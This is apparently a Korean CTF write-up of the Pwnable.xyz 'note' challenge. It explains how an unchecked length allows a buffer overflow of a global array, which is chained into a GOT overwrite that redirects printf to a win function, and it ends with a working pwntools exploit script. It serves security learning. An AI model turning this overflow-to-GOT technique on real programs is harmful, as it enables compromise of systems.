<Wargame & CTF>/Pwnable.xyz

[Pwnable.xyz] note

gosoeungduk 2020. 7. 31. 23:57
반응형

note

#got_overwrite #BOF


title

바로 들어가보자.

file

파일은 일반 ELF 파일이다. 별다른 점은 없다.

read32

main 함수를 보면 메뉴번호를 고를 때 read_int32 함수를 통해 번호를 전달받는다.
이는 얼마안가서 취약점을 촉발시키는 매개가 되는데, read_int32 함수를 알아보자.

read32_2

이 함수를 보자마자 눈여겨봐야겠다고 느낀게 문자열 형태의 숫자atoi로 정수 로 바꿔주고 있었기에
얼마나 큰 수를 입력해도 검증과정없이 정수로 바꿔주는 과정이 조금 이상해보였다.

뭐 결론적으론... 좋은 발견이었지만.

edit_note

그리고 1번 메뉴를 선택하면 edit_note 함수로 들어오는데 모습은 이렇다.

이 부분에서 read_int32 함수의 좋은 기능을 활용할 수 있는데, 일단 s 는 전역배열로 선언되어있는 32바이트 짜리 배열이다. 만약 32보다 높은 사이즈로 read 한다면... 그 이상을 덮을 수 있는 것이다.

그러면! s 배열 다음에는 무엇이 있느냐???

sarray

전역변수로 선언되어있는 포인터 변수 buf 가 있다. 이것이 또 머지않아 유용하게 쓰인다.

그러면 2번 메뉴인 edit_desc 로 가보자.

edit_desc

방금 언급한 buf 변수가 비어있을 시에만 malloc 으로 heap을 할당하고 아니라면 바로 32바이트만큼 읽어들인다.

여기서 이제 got_overwrite 기법을 사용할 수 있는데 만약 edit_note 에서 BOF로 buf포인터 에 printf 의 got를 넣었다면, edit_desc 로 printf 의 got 에 원하는 곳의 주소를 덮어씌울 수 있는 것이다.

필자는 buf 를 printf의 got 로 덮고, 그 got를 아래의 최종함수로 덮었다.

win

아래는 소스코드

추가로, got에 데이터를 쓸 수 있는지의 여부는 해당영역의 "쓰기" 권한 여부에 달렸다. 권한 확인 방법은 여러가지가 있으니 알아보면 좋을 것 같다 :)


from pwn import *
#s=process("./challenge")
s=remote("svc.pwnable.xyz",30016)
#pause()
s.recvuntil("> ")
s.sendline("1")

s.recvuntil("Note len? ")
s.sendline("41")
print_addr=p64(0x601238)
s.recvuntil("note: ")
s.send(b"a"*32+print_addr)

s.recvuntil("> ")
s.sendline("2")

win_addr=p64(0x40093c)
s.recvuntil("desc: ")
s.send(win_addr)

s.interactive()

contact: a42873410@gmail.com

반응형

'<Wargame & CTF> > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] fclose  (0) 2021.02.11
[Pwnable.xyz] Game  (0) 2020.05.31
[Pwnable.xyz] UAF  (0) 2019.12.30
[Pwnable.xyz] GrownUp  (0) 2019.12.29
[Pwnable.xyz]add, misalignment  (0) 2019.02.03